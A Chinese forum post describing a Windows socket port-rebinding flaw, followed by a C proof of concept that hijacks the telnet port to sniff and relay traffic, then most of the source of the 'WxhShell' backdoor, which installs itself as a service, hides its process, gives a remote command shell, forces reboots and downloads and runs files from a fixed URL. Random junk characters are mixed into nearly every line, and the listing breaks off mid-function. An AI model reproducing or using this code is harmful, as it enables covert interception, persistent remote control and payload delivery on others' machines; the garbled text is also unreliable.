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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: IOjp'6Yr  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 6` 8H k;  
$Sx(vq6(  
  saddr.sin_family = AF_INET; /~O>He  
j^V r!y  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); @X?7a]+;8  
OABMIgX  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ?DwI>< W  
4Ucs9w3[  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 aJ{-m@/ 5  
e}u68|\EC  
  这意味着什么?意味着可以进行如下的攻击: 1LK`    
EDA%qNd]j  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 S#{jyU9 ]  
b5@sG^  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) sYG:\>}ie  
)9]DJ!]&Q"  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 .S{FEV  
l 10p'9 n  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  g5OKhL0u  
x%!Ea{ s  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 n`Y"b&  
0|J]EsPxu  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 v><c@a=[  
:]rb}1nLB  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 X9-WU\?UC  
nqFJNK]a  
  #include %tvP\(]h  
  #include nr{#Krkb  
  #include ms]r1x"  
  #include    6/5Xy69:h  
  DWORD WINAPI ClientThread(LPVOID lpParam);   =<;C5kSD  
  int main() .DX-biX,  
  { x@)G@'vV|  
  WORD wVersionRequested; F{*h~7D-|  
  DWORD ret; s;ivoGe}  
  WSADATA wsaData; &}y?Lt  
  BOOL val; _ g8CvH)?!  
  SOCKADDR_IN saddr; E-`3}"{  
  SOCKADDR_IN scaddr; p=jpk@RX  
  int err; vmj'X>Q  
  SOCKET s; li37*  
  SOCKET sc; [pRRBMho  
  int caddsize; 1`Ig A0V`"  
  HANDLE mt; iCtDV5  
  DWORD tid;   0R-J \  
  wVersionRequested = MAKEWORD( 2, 2 ); Ym8 V)  
  err = WSAStartup( wVersionRequested, &wsaData ); D^Gs_z$['  
  if ( err != 0 ) { F%tV^$%  
  printf("error!WSAStartup failed!\n"); )yt_i'D}  
  return -1; (Qcd !!   
  } # E{2 !Z  
  saddr.sin_family = AF_INET; yp!7^  
   A/c#2  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 )Ggv_mc h  
Pxvf"SXX  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ZamOYkRX  
  saddr.sin_port = htons(23); N;q)r  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) B{lj.S` mB  
  {  Iysp)  
  printf("error!socket failed!\n"); c<a)Yqf"]  
  return -1; *yZ `aKfH  
  } {zTnE?(o`  
  val = TRUE; z}a9%Fb  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 fjd)/Gg  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) }ip3dm  
  { 0g`$Dap  
  printf("error!setsockopt failed!\n"); p>l:^ -N;f  
  return -1; :OFs" bC  
  } PWBcK_4i%  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; KDS} "/  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 N`HiNb [  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 [0n[\& 0  
jcbq#  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) F;L8FL-  
  { 'N3)>!Y:8  
  ret=GetLastError(); nCS" l5  
  printf("error!bind failed!\n"); ^)UX#D3b  
  return -1; [Qqomm.[\w  
  } 7tP%tp ez  
  listen(s,2); lv>^P>S(O  
  while(1) bn%4s[CVb4  
  { +P=Ikbx AO  
  caddsize = sizeof(scaddr); .|e8v _2J  
  //接受连接请求 kW7$Gw]-  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 4:9N]1JCb  
  if(sc!=INVALID_SOCKET) mIZ6[ ?  
  { :2.<JUDM  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 0T7t.  
  if(mt==NULL) z*UgRLKZD  
  { )*XD"-9  
  printf("Thread Creat Failed!\n"); v&qL r+_7  
  break; 2e9.U/9  
  } ifcp!l+8  
  } GO)5R,  
  CloseHandle(mt); $Jo4n>/  
  } ph$ vP;}  
  closesocket(s); bO` S Bq$  
  WSACleanup(); 1Ror1%Q"?  
  return 0;  i}_"  
  }   L|L;<  
  DWORD WINAPI ClientThread(LPVOID lpParam) Sh2BU3  
  { akF T 0@9  
  SOCKET ss = (SOCKET)lpParam; 7^7Jh&b)/  
  SOCKET sc; s o1hC  
  unsigned char buf[4096]; hv`I`[/J  
  SOCKADDR_IN saddr; 63i&<  
  long num; 3$_JNF`  
  DWORD val; p,.6sk  
  DWORD ret; aJ QzM  
  //如果是隐藏端口应用的话,可以在此处加一些判断 fC".K Yjp  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   !nsx!M  
  saddr.sin_family = AF_INET; %:v<&^oDlm  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ?>Ngsp>-P  
  saddr.sin_port = htons(23); 2?{'(i ay  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) nTl2F1(sV7  
  { PIAE6,*  
  printf("error!socket failed!\n"); HbRvU}C1  
  return -1; >6R3KJe  
  } r )HZaq  
  val = 100; /9=r.Vxh  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) oY+p;&H  
  { guG&3{&\s  
  ret = GetLastError(); TuEM  
  return -1; JW!.+ Q  
  } \(RD5@=!4#  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) S1[, al  
  { = N;5T  
  ret = GetLastError(); R nwFxFIQ  
  return -1; &f}w&k2yj  
  } F{4v[WP)  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) $A`m8?bY  
  { dVUe!S`  
  printf("error!socket connect failed!\n"); B Dp")[l  
  closesocket(sc); -p?&vQDo`  
  closesocket(ss); CBv0fQtL  
  return -1; PXyv);#Q`  
  } Ze[,0Y!u&  
  while(1) ?;y-skh  
  { >C19Kie72  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ]}kw'&  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ap8q`a{j^  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 4l7 Ny\J  
  num = recv(ss,buf,4096,0); zn>+ \  
  if(num>0) wBvVY3VQ^  
  send(sc,buf,num,0); =P%&]5ts  
  else if(num==0) ;{aGEOP'U  
  break; `U=Jbdc l3  
  num = recv(sc,buf,4096,0); $H)Q UFyC  
  if(num>0) t.dr<  
  send(ss,buf,num,0); |dz"uIrT  
  else if(num==0) X 5\xq+Ih  
  break; e=l:!E10  
  } M!kSt1  
  closesocket(ss); @H<*|3J  
  closesocket(sc); ' '(rC38  
  return 0 ; u>]3?ty`  
  } m8;w7S7,j~  
|Iwglb!k  
|lcp (u*u  
========================================================== ="5D}%  
c6lCF &  
下边附上一个代码,,WXhSHELL [_nOo`  
@TQ/Z$y  
========================================================== F}7sb#G  
5.*,IedY  
#include "stdafx.h" lKB9n}P  
l^d'8n  
#include <stdio.h> >[Wjzg  
#include <string.h> 0k{\W  
#include <windows.h> b"Q8[k |d  
#include <winsock2.h> Aj|->Y  
#include <winsvc.h> |g.CS$'#Nt  
#include <urlmon.h> 33EF/k3vW  
Av?R6  
#pragma comment (lib, "Ws2_32.lib") <zL_6Y2  
#pragma comment (lib, "urlmon.lib") 3LT~- SvL  
w|6/i/X  
#define MAX_USER   100 // 最大客户端连接数 e MHz/;I  
#define BUF_SOCK   200 // sock buffer EG`6T  
#define KEY_BUFF   255 // 输入 buffer v7SYWO#  
9(J,&)J  
#define REBOOT     0   // 重启 n| {#5#  
#define SHUTDOWN   1   // 关机 SDC'S]{ew  
N[e,%heR  
#define DEF_PORT   5000 // 监听端口 5 ty2e`~K  
/IG{j}  
#define REG_LEN     16   // 注册表键长度 ROmmak(y8  
#define SVC_LEN     80   // NT服务名长度 -2; 6Pwmv  
6^WNwe\  
// 从dll定义API bY2R/FNL=  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 3i7EF.  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); w;gk=<_  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); tc0;Ake-&  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); q~b# ml2QS  
":8\2Qp  
// wxhshell配置信息 2 4+  
struct WSCFG { ^8;MY5Wbs  
  int ws_port;         // 监听端口 #|ts1lD#ah  
  char ws_passstr[REG_LEN]; // 口令 ",.f   
  int ws_autoins;       // 安装标记, 1=yes 0=no 9-/q-,  
  char ws_regname[REG_LEN]; // 注册表键名 [B# XA}w  
  char ws_svcname[REG_LEN]; // 服务名 9zb1t1[ W  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 mmbe.$73  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @t~y9UfF  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *qm|A{FQR  
int ws_downexe;       // 下载执行标记, 1=yes 0=no v>#Njgo  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Yu\$Y0 {]  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 }q`9U!v  
Cd_@<  
}; +7}^Y}(  
tg@61V?>  
// default Wxhshell configuration 88~Nrl=co  
struct WSCFG wscfg={DEF_PORT, -n&&d8G^s  
    "xuhuanlingzhe", 2+rT .GFc  
    1, e{@RBYX@+c  
    "Wxhshell", 9L:wfg}8s  
    "Wxhshell", | J3'#7  
            "WxhShell Service", \Q|-Npw  
    "Wrsky Windows CmdShell Service", q* p  
    "Please Input Your Password: ", Q-'j131[  
  1, /"8e,  
  "http://www.wrsky.com/wxhshell.exe", hm1s~@oEm  
  "Wxhshell.exe" hK3-j;eg  
    }; 1~c\J0h)d  
<E4(KE  
// 消息定义模块 EL$DvJ~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; d\JaYizp  
char *msg_ws_prompt="\n\r? for help\n\r#>"; {6v.(Zlh$  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Eo6N'h>h  
char *msg_ws_ext="\n\rExit."; ^x\VMd3*w  
char *msg_ws_end="\n\rQuit."; ;[}OZt  
char *msg_ws_boot="\n\rReboot..."; ~i"=:D  
char *msg_ws_poff="\n\rShutdown..."; Pp-N2t86#2  
char *msg_ws_down="\n\rSave to "; *~)6 sm  
E:x@O8F  
char *msg_ws_err="\n\rErr!"; g:M;S"U3*Y  
char *msg_ws_ok="\n\rOK!"; K<e #y!  
yMz#e0k  
char ExeFile[MAX_PATH]; m"n74 cxS  
int nUser = 0; hn8xs5vN  
HANDLE handles[MAX_USER]; -lhIL}mGf  
int OsIsNt; k sv]  
x vs=T  
SERVICE_STATUS       serviceStatus; .jCGtR )%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; X[o+Y@bc  
!0,q[|m  
// 函数声明 Wlhh0uy  
int Install(void); >K9Ia4I,  
int Uninstall(void); fEZuv?@  
int DownloadFile(char *sURL, SOCKET wsh); +c))fPuV  
int Boot(int flag); e"t0 rScA  
void HideProc(void); $Q/@5f'T`9  
int GetOsVer(void); HDH G~<s  
int Wxhshell(SOCKET wsl); -i`jS_-Cv-  
void TalkWithClient(void *cs); +& B?f  
int CmdShell(SOCKET sock); .t_t)'L  
int StartFromService(void); teJt.VA7)  
int StartWxhshell(LPSTR lpCmdLine); 7\6g>4J^`  
[A7TSN  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); l;iU9<~  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); mH$tG $  
z$?F^3>  
// 数据结构和表定义 ['IH*gi  
SERVICE_TABLE_ENTRY DispatchTable[] = hik.qK  
{ ?XHQdN3e  
{wscfg.ws_svcname, NTServiceMain}, e]RzvWq  
{NULL, NULL} =xo0T 6  
}; o pTXI*QA  
^v; )6a2  
// 自我安装 cW:y^(Xii  
int Install(void) `j>5W<5q\  
{ ^cYB.oeu  
  char svExeFile[MAX_PATH]; #hxYB  
  HKEY key; 5skN'*oG  
  strcpy(svExeFile,ExeFile); L]kBY2c  
4aS}b3=n  
// 如果是win9x系统,修改注册表设为自启动 dEJqgp}\p  
if(!OsIsNt) { {$^'oRk  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?P'$Vxl  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <l<O2l  
  RegCloseKey(key); ]I\GnDJ^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =P(*j7=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |UB$^)Twb  
  RegCloseKey(key); r^~+ <"  
  return 0; 6$R9Y.s>Z  
    } = -2~>B  
  } <,M"kF:  
} M`cxxDj&j  
else { g$K\rA  
5s[nE\oaG  
// 如果是NT以上系统,安装为系统服务 J#(AX6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); v&d1ACctJ  
if (schSCManager!=0) 5%I3eL%s  
{ 1"H;Tr|  
  SC_HANDLE schService = CreateService R(wUu#n$  
  ( OXEEpoU?V  
  schSCManager, I\Op/`_=E  
  wscfg.ws_svcname, Gm|-[iUTG]  
  wscfg.ws_svcdisp, ]=~dyi  
  SERVICE_ALL_ACCESS, OS z71;j  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , cyCh^- <l@  
  SERVICE_AUTO_START, uV5uZ  
  SERVICE_ERROR_NORMAL, <8:h%%$?  
  svExeFile, <F7a!$zQ  
  NULL, ' h7Faj  
  NULL, QF>T)1&J[7  
  NULL, &*v\t\]  
  NULL, &en. m>9,  
  NULL 7zG r+Px  
  ); $r!CQ 2S  
  if (schService!=0) ~7 i{~<?  
  { JIySe:p3  
  CloseServiceHandle(schService); ^ }7O|Y7  
  CloseServiceHandle(schSCManager); A8m06  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1$&@wG  
  strcat(svExeFile,wscfg.ws_svcname); L_Ok?9$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { D>7a0p784  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); "/'3I/}  
  RegCloseKey(key); (7R?T}  
  return 0; y#GHmHeh  
    } Cy;UyZ  
  } q}LDFsU  
  CloseServiceHandle(schSCManager);  lbHgxZ  
} dbby.%  
} T-] {gc  
? Lg(,-:  
return 1; KwL_ae6fV  
} :F:1(FDP  
h1_Z&VJ  
// 自我卸载 *z~,|DQ(A  
int Uninstall(void) Cab.a)o  
{ \BnU ?z  
  HKEY key; :c/54Ss~  
& P-8_I  
if(!OsIsNt) { *JJ8\R&P0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jYp!?%!  
  RegDeleteValue(key,wscfg.ws_regname); ?%6oM  
  RegCloseKey(key); 4zyQ"?A~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1iF=~@Nz_  
  RegDeleteValue(key,wscfg.ws_regname); Pe _O(  
  RegCloseKey(key); ,jY:@<n  
  return 0; 9B0ON*`  
  } .!o]oM U/  
} N68mvBe  
} ng%[yY  
else { p>tkRA?lk  
ray3gM%JLj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -#ZLu.  
if (schSCManager!=0) *`H*@2  
{ pAy4%|(  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @ VWED  
  if (schService!=0) w ,j*I7V  
  { NxHUOPAJc  
  if(DeleteService(schService)!=0) { X)3(.L  
  CloseServiceHandle(schService); JWb +  
  CloseServiceHandle(schSCManager); aC,adNub  
  return 0; p":u]Xgb  
  } ;E.]:Ia~  
  CloseServiceHandle(schService); "6jt$-?  
  } QY;(Ny/(y  
  CloseServiceHandle(schSCManager); n4{%M  
} +9Tc.3vQ  
} EVPQe-  
;\pVc)\4"  
return 1; aj5HtP-  
} 'gf[Wjb,%  
z8X7Y >+SA  
// 从指定url下载文件 .y s_'F-]0  
int DownloadFile(char *sURL, SOCKET wsh) [.}qi[=n  
{ 1$0Kvvg[  
  HRESULT hr; vfkF@^D  
char seps[]= "/"; *Ypn@YpSp  
char *token; z x-[@G  
char *file; nCq'=L,m  
char myURL[MAX_PATH]; 30sJ"hF9  
char myFILE[MAX_PATH]; QD@O!}; T  
?\Z pVL<>  
strcpy(myURL,sURL); w % Hj'  
  token=strtok(myURL,seps); M@.l# [@U  
  while(token!=NULL) => (g_\  
  {  R0Vt_7  
    file=token; Eg)24C R 4  
  token=strtok(NULL,seps); (%B{=w}8  
  } `H! (hMMV  
?, pwYT0g  
GetCurrentDirectory(MAX_PATH,myFILE); q=X<QhK  
strcat(myFILE, "\\"); "KIY+7@S}  
strcat(myFILE, file); hju^x8 ,=m  
  send(wsh,myFILE,strlen(myFILE),0);  Fe!MA  
send(wsh,"...",3,0); 8$}<4 `39  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); n#P>E( K  
  if(hr==S_OK) 9)VAEyv  
return 0; 3RtVFDIZA"  
else %E_Y4Oe1  
return 1; +@rFbsyJ.  
5=?P 6I_$G  
} hQ|mow@Zmz  
5k0iVpjQ  
// 系统电源模块 _m9k2[N!  
int Boot(int flag) dEk#"cvg  
{ HgY@M  
  HANDLE hToken; "&={E{pQ  
  TOKEN_PRIVILEGES tkp; 4;YP\{u  
QGpj$ _b  
  if(OsIsNt) { N?qETp-:  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); _x.2&S89  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); d ~ M;  
    tkp.PrivilegeCount = 1; 0T`Qoo>u  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 4FaO+Eo,8  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Z|_V ;*  
if(flag==REBOOT) { #f#6u2nF\  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 3 `_/h' ~  
  return 0; Xe);LhDC  
} Y~}MfRE3z  
else { %r[`HF>  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) O&7.Ry m  
  return 0; {"'M2w:|D1  
} 4np2I~ !  
  } ) f~;P+  
  else { .s<0}<Aq>  
if(flag==REBOOT) { -- %XkO  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) XCI  
  return 0; D|5mNX %e  
} A$wC !P|;  
else { =aVvv+T  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7]rIq\bM  
  return 0; V(TtOuv  
} I">">  
} .!4'Y}  
25OQY.>bE  
return 1; +t,b/K(?]  
} I%.nPOQ 8  
P*"c!Dn  
// win9x进程隐藏模块 11l=zv  
void HideProc(void) ->I.D?p  
{ FsqH:I4O  
3Ws(],Q  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ~u*4k:2H  
  if ( hKernel != NULL ) [k 7HLn)  
  { 8U@f/ P  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); t`6]eRR  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); $ #!oejLD  
    FreeLibrary(hKernel); gOg7:VPG  
  } \IQG%L{  
Uc!k)o#=  
return; 3N >V sl  
} W"%n5)  
.gy:Pl]w  
// 获取操作系统版本 jsAx;Z:QT  
int GetOsVer(void) QDxs+<#  
{ N #v[YO`.  
  OSVERSIONINFO winfo; HW[&q  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); '_?Z{|  
  GetVersionEx(&winfo); Kii@Z5R_?  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) +j: &_  
  return 1; X8tPn_`x  
  else h>V6}(~;.  
  return 0; l=xG<)Okb  
} &~eCDlX /  
[lIX&!T"  
// 客户端句柄模块 \8#[AD*@s2  
int Wxhshell(SOCKET wsl) IS8 sJ6")  
{ V~PGmn[V  
  SOCKET wsh; ]n4PM=hz  
  struct sockaddr_in client; ;C-ds  
  DWORD myID; 4 6v C/  
">7xSWR*4  
  while(nUser<MAX_USER) LHtO|Utn(  
{ ddL3wQ  
  int nSize=sizeof(client); ;X+0,K3c  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ubB1a_7  
  if(wsh==INVALID_SOCKET) return 1; 7B0`.E^~  
ox SSEs  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ^X_ ;ZLg.  
if(handles[nUser]==0) JX'}+.\  
  closesocket(wsh); kVLZdXn,q2  
else | K|AUI  
  nUser++; y3j$?o M  
  } %rB,Gl:)g  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 1a9' *[  
[`tOhL  
  return 0; RV@B[:  
} f/L8usBXq  
y={ k7  
// 关闭 socket P_b5`e0O  
void CloseIt(SOCKET wsh) +m JG:n  
{ SkV pZh  
closesocket(wsh); # N3*SE  
nUser--; t _ CMsp  
ExitThread(0); (f"Qz~R|6_  
} !ldE9 .  
~98q1HgS]D  
// 客户端请求句柄 :&5u)  
void TalkWithClient(void *cs) BUZ74  
{ [e,xC!2  
\u.5 _ g  
  SOCKET wsh=(SOCKET)cs; >? o5AdZ  
  char pwd[SVC_LEN]; ;PVE= z+y  
  char cmd[KEY_BUFF]; yVzV]&k  
char chr[1]; 4+qo=i  
int i,j; &5jc &CS  
I!F&8B+|  
  while (nUser < MAX_USER) { H5]q*D2  
.+2:~%v6  
if(wscfg.ws_passstr) { 4grV2xtX  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3K(/=  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); v$`3}<3-  
  //ZeroMemory(pwd,KEY_BUFF); [W$x5|Z}Q  
      i=0; DaH4Br.2  
  while(i<SVC_LEN) { :M;|0w*b  
MuO(%.H  
  // 设置超时 j^/<:e c.  
  fd_set FdRead; N]8/l:@  
  struct timeval TimeOut; Lm$KR!z  
  FD_ZERO(&FdRead); ^Zpz@T>m  
  FD_SET(wsh,&FdRead); $lB!Q8a$  
  TimeOut.tv_sec=8; mr[1F]G  
  TimeOut.tv_usec=0; V B ^1wm  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Bph(\= W  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); rG-x 3>b  
bPV}T`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); e8SAjl"}  
  pwd=chr[0]; tZ) ,Z<  
  if(chr[0]==0xd || chr[0]==0xa) { DFfh!KKR$  
  pwd=0;  Dt5AG  
  break; "@ZwDg`  
  } TH>uL;?=  
  i++; ci%$So 2#  
    } WjVm{7?{  
[ )X(Qtk  
  // 如果是非法用户,关闭 socket Z>`frL  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); X$%[%q8qg  
} kFQo[O]  
G{pF! q  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); U&^(%W#  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @0:Eg1-  
[C ezz5  
while(1) { Oxu}W%BF*  
<_8eOL<X  
  ZeroMemory(cmd,KEY_BUFF); 1Xcj=I- 4  
Mj0jpP<uf  
      // 自动支持客户端 telnet标准   ?/3{gOgI$`  
  j=0; {niV63$m  
  while(j<KEY_BUFF) { MR,>]| ^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); sNG 7fi.|  
  cmd[j]=chr[0]; `j2|aX %Z*  
  if(chr[0]==0xa || chr[0]==0xd) { <YG 42,N  
  cmd[j]=0; SP  =8v0  
  break; , Sf:R4=  
  } 4M$"0}O;[h  
  j++;  ^~B#r#  
    } WYvcN8F  
f#38QP-T  
  // 下载文件 <@>icDFEHn  
  if(strstr(cmd,"http://")) { gBgaVG  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?MRT  
  if(DownloadFile(cmd,wsh)) rJ4A9d3:  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); mst;q@  
  else 'uqY%&U  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W'zI~'K  
  } @gx]3t*]I  
  else { YFcMU5_F  
m 2%  
    switch(cmd[0]) { 41C6ey  
  gf;B&MM6  
  // 帮助 fob.?ID-;  
  case '?': { &)Vuh=  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); T~lHm  
    break; _y[B/C,q  
  } #cl|5jm+m#  
  // 安装 IjPt JwW`A  
  case 'i': { QF.M%she+  
    if(Install()) _Pw5n mH c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R,hwn2@B  
    else qpB8ujj<V  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /u"K`y/*j\  
    break; /KgP<2p  
    } '8^>Z.~V  
  // 卸载 fQfd1=4  
  case 'r': { 5'rP-z~ u  
    if(Uninstall()) E_xCRfw_i]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AhV V  
    else P#KT lH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mnYzn[d3U  
    break; R"`<ZY6(Ou  
    } 0$R}_Ok  
  // 显示 wxhshell 所在路径 Nk\/lK\  
  case 'p': { I~M@v59C  
    char svExeFile[MAX_PATH]; ?D M!=.]  
    strcpy(svExeFile,"\n\r"); AbMf8$$3SH  
      strcat(svExeFile,ExeFile); k _Bz@^J  
        send(wsh,svExeFile,strlen(svExeFile),0); 2reQd47  
    break; t] G hONN  
    } v00w GOpW  
  // 重启 J.,7d ,  
  case 'b': { U)S!@ 2(4  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); > 8!9  
    if(Boot(REBOOT)) a [BIY&/Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QlnI&o  
    else { %vWh1-   
    closesocket(wsh); #"JtH"pF  
    ExitThread(0); !y;xt?  
    } vcp[$-$QGJ  
    break; KFHcHz  
    } l !R >I7  
  // 关机 78zwu<ET  
  case 'd': { {@67'jL  
